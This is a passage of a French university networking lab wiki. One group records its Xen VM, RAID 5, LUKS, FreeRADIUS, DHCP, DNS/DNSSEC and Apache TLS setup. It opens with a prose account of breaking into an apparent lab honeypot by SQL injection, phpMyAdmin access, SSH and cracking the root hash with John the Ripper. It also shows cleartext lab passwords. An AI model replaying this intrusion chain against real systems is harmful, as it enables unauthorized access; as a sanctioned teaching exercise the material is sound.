&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on repère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
'''Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.'''&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 $ apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = PA-zabeth11&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRadius &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
'''Ensuite, on configure le point d'accès WiFi.'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
&lt;br /&gt;
On teste que le tout fonctionne.&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''DHCP'''&lt;br /&gt;
&lt;br /&gt;
6509E&lt;br /&gt;
&lt;br /&gt;
$ ssh admin@10.64.100.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
C9200&lt;br /&gt;
&lt;br /&gt;
$ ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54632</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54632"/>
				<updated>2020-12-14T17:29:41Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Configuration VLAN IPv4, IPv6 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Configuration VLAN IPv4, IPv6=&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 9200&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partit de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite:&lt;br /&gt;
 int piedbleu.site&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan piedbleu.site&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 54 priority 110&lt;br /&gt;
&lt;br /&gt;
on quitte et on sauvegarde de la même manière. la commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
